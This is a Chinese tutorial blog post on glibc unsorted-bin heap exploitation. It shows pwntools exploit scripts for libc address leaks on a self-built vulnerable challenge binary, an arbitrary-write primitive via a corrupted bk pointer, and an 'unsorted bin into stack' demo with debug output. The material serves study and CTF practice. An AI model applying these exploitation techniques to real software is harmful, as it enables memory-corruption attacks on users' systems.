unsortedbinAttack

heap

距离上一篇堆的知识点很长时间了 这段时间主要是自己基础的梳理了一些简单的堆漏洞利用手法

本文讲述unsortedbin在不同环境下的利用办法

这一部分还是比较简单的

基础知识

这里先要有一个概念 在glibc版本2.26(可以简单记成18.04后)以后 新增了tcachebins 其机制会影响到堆块释放后进入unsortedbin

我们先留意一下随着glibc版本的不同 接着说回正文

一个堆块被释放以后 如果他的大小大于fastbin或者tcache的范围 那么他就会先进入unsortedbin

如果unsortedbin的链表中只有其一个堆块 那么他的fd域和bk域都将指向main_arean+0x88（这里的数值不是固定的）

此时如果用户再次申请一个chunk

1.如果该chunk的大小不超过unsortedbin中的chunk大小 那么就会分割出用户需要的

比如此时我再次申请一个0x40大小的堆块 就是从原来的free chunk中分割出来的 并且其fd和bk域的数值会保留下来

一起分配给了用户 所以我们可以利用这个特性泄露libc基址(如果程序有打印出chunk内容的机会)

这里有个小疑点 为什么用户新申请出来的chunk的fd和bk会和原来的chunk的不一样(待解)

ubuntu16.04泄露基址

[*] '/home/chen/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

自己编译了一个简单的堆题

程序主体就简单发一下各函数就行了 内容也不必看 就知道有个打印chunk内容的机会和堆溢出 uaf等漏洞

int create()
{
  void *v0; // rax
  int v2; // [rsp+0h] [rbp-10h] BYREF
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  void *v4; // [rsp+8h] [rbp-8h]

  printf("Index: ");
  __isoc99_scanf("%d", &v3);
  LODWORD(v0) = v3;
  if ( v3 <= 31 )
  {
    v0 = *(&Page + v3);
    if ( !v0 )
    {
      printf("Size ");
      __isoc99_scanf("%d", &v2);
      if ( v2 > 256 )
      {
        LODWORD(v0) = puts("over size");
      }
      else
      {
        v0 = malloc(v2);
        v4 = v0;
        if ( v0 )
        {
          *(&Page + v3) = v4;
          Size[v3] = v2;
          LODWORD(v0) = puts("OK");
        }
      }
    }
  }
  return v0;
}
__int64 edit()
{
  __int64 result; // rax
  unsigned int v1; // [rsp+Ch] [rbp-4h] BYREF

  printf("Index: ");
  __isoc99_scanf("%d", &v1);
  result = v1;
  if ( v1 <= 31 )
  {
    result = *(&Page + v1);
    if ( result )
    {
      printf("Content: ");
      result = vuln(*(&Page + v1), Size[v1]);
    }
  }
  return result;
}
int show()
{
  int result; // eax
  int v1; // [rsp+Ch] [rbp-4h] BYREF

  printf("Index: ");
  __isoc99_scanf("%d", &v1);
  result = v1;
  if ( v1 <= 31 )
    result = printf("Content: %s\n", *(&Page + v1));
  return result;
}
__int64 del()
{
  __int64 result; // rax
  unsigned int v1; // [rsp+Ch] [rbp-4h] BYREF

  printf("Index: ");
  __isoc99_scanf("%d", &v1);
  result = v1;
  if ( v1 <= 31 )
  {
    free(*(&Page + v1));
    *(&Page + v1) = 0LL;
    result = v1;
    Size[v1] = 0;
  }
  return result;
}

gdb动调exp:

from pwn import*
io = process("./pwn")
elf = ELF("./pwn")
context.log_level = "debug"

def create(index,size):
    io.recvuntil(":")
    io.sendline(b"1")
    io.recvuntil("Index: ")
    io.sendline(str(index))
    io.recvuntil("Size ")
    io.sendline(str(size))

def edit(index,payload):
    io.recvuntil(":")
    io.sendline(b"2")
    io.recvuntil("Index: ")
    io.sendline(str(index))
    io.recvuntil("Content: ")
    io.sendline(payload)

def delete(index):
    io.recvuntil(":")
    io.sendline(b"4")
    io.recvuntil("Index: ")
    io.sendline(str(index))

def show(index):
    io.recvuntil(":")
    io.sendline(b"3")
    io.recvuntil("Index: ")
    io.sendline(str(index))

create(1,0x88)
create(2,0x20)
delete(1)
create(3,0x48)
show(3)
io.recv()
[DEBUG] Received 0x2e bytes:
    00000000  43 6f 6e 74  65 6e 74 3a  20 f8 7b d4  61 1a 7f 0a  │Cont│ent:│ ·{·│a···│
    00000010  31 2e 41 44  44 0a 32 2e  43 48 41 4e  47 45 0a 33  │1.AD│D·2.│CHAN│GE·3│
    00000020  2e 50 52 49  4e 54 0a 34  2e 44 45 4c  0a 3a        │.PRI│NT·4│.DEL│·:│
    0000002e

最后成功泄露出libc地址

ubuntu 18.04泄露基址

二进制文件同上

exp:

from pwn import*
io = process("./heap")
elf = ELF("./heap")
context.log_level = "debug"

def create(index,size):
    io.recvuntil(":")
    io.sendline(b"1")
    io.recvuntil("Index: ")
    io.sendline(str(index))
    io.recvuntil("Size ")
    io.sendline(str(size))

def edit(index,payload):
    io.recvuntil(":")
    io.sendline(b"2")
    io.recvuntil("Index: ")
    io.sendline(str(index))
    io.recvuntil("Content: ")
    io.sendline(payload)

def delete(index):
    io.recvuntil(":")
    io.sendline(b"4")
    io.recvuntil("Index: ")
    io.sendline(str(index))

def show(index):
    io.recvuntil(":")
    io.sendline(b"3")
    io.recvuntil("Index: ")
    io.sendline(str(index))

create(1,0x90)
create(2,0x20)
for i in  range(3,10):
    create(i,0x90)

for i in range(3,10):
    delete(i)

delete(1)
create(10,0x90)
show(10)

办法就是利用 tcachebin的一条链表中只能存放7个chunk 只要我们把其填满了 那么再次释放一个相同大小的chunk就会进入unsortedbin

这里将我们最开始申请的chunk1释放以后 其就因为对应的tcachebin中位置已满 所以进入了unsortedbin 那么接下来利用show函数输出即可

[DEBUG] Received 0x2e bytes:
    00000000  43 6f 6e 74  65 6e 74 3a  20 30 7d 05  ac 42 7f 0a  │Cont│ent:│ 0}·│·B··│
    00000010  31 2e 41 44  44 0a 32 2e  43 48 41 4e  47 45 0a 33  │1.AD│D·2.│CHAN│GE·3│
    00000020  2e 50 52 49  4e 54 0a 34  2e 44 45 4c  0a 3a        │.PRI│NT·4│.DEL│·:│
    0000002e

这里同时也说明了一点 当tcachebin和unsortedbin中都有free chunk时 且用户申请的chunk大小小于等于二者时unsortedbin优先提供给用户

任意地址写

如果单独利用那么是比较鸡肋的一个漏洞点 但是如果配合其他漏洞一起使用 效果非常强大

主要利用的是unsortedbin取出后 会对其链表进行清空

/* remove from unsorted list */
          if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): corrupted unsorted chunks 3");
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

其中bck在代码开始进行了赋值 bck = victim->bk;

也就是说如果我们修改了victim的bk域 就会使得unsorted_chunks (av)+0x18处修改为我们修改的bk域

以及我们修改的地址+0x10处填入unsorted_chunks (av)

调试环境 libc2.27

bss_addr = 0x602200
add(0x410,b'aaaa')#0
add(0x10,b'aaaa')#1
delete(0)
payload = p64(0)+p64(bss_addr-0x10)
edit(0,len(payload),payload)
add(0x410,b'aaaa')#2
debug()

chunk1用来防止chunk0进入unsortedbin后和top chunk合并

修改chunk0的bk域为bss_addr-0x10 这样到时候bss_addr 就会被写入unsorted_chunks (av)

动调看一下

image-20230311222348094

你会发现这时候由于main_arena的结构被破坏了 plmalloc仍然认为chunk0处于free状态 但是我们的chunk2确实是申请到了chunk0的空间

这时候如果我们想要再次申请一个chunk 就会报错 这一点要注意

image-20230311222553826

此时各地址的值都如我们预期想象的那样

unsorted bin into stack

漏洞的原理在于 plmalloc在申请chunk的时候会先去unsortebin中寻找合适的chunk 如果size不符合则通过bk指针索引下一个

如果我们修改chunk的size和bk 就可以误导plmalloc去对我们构造的fake chunk进行检查 如果通过了检查 就会分配fake chunk给用户

跟着下面这个程序动调一下就清楚了(不是我写的 我也不知道出处 可能是how2heap的?)

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main() {
  intptr_t stack_buffer[4] = {0};

  fprintf(stderr, "Allocating the victim chunk");
  intptr_t* victim = malloc(0x100);

  fprintf(stderr, "Allocating another chunk to avoid consolidating the top chunk with the small one during the free()");
  intptr_t* p1 = malloc(0x100);

  fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin", victim);
  free(victim);

  fprintf(stderr, "Create a fake chunk on the stack");
  fprintf(stderr, "Set size for next allocation and the bk pointer to any writable address");
  stack_buffer[1] = 0x100 + 0x10;
  stack_buffer[3] = (intptr_t)stack_buffer;

  fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointern");
  fprintf(stderr, "Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_memn");
  victim[-1] = 32;
  victim[1] = (intptr_t)stack_buffer;

  fprintf(stderr, "Now next malloc will return the region of our fake chunk: %pn", &stack_buffer[2]);
  fprintf(stderr, "malloc(0x100): %pn", malloc(0x100));
}
编译指令: gcc -g xxx.c   //加-g动调的时候就可以依据代码逐行进行

首先是申请了两个chunk chunk0用来误导plmalloc chunk1用来防止chunk0和top chunk合并

image-20230311225736485

释放chunk0 进入unsortedbin

image-20230311225827543

伪造局部变量数组(也就是位于栈上的一块内存) 修改size域和bk域 bk域是为了迎合检查 双向链表的完整性

image-20230311225931787

修改chunk0的size域和bk域 误导plmalloc

image-20230311230601067

最后申请一个0x100大小的chunk 分配到的区域为栈上的数组image-20230311230656926

image-20230311230747477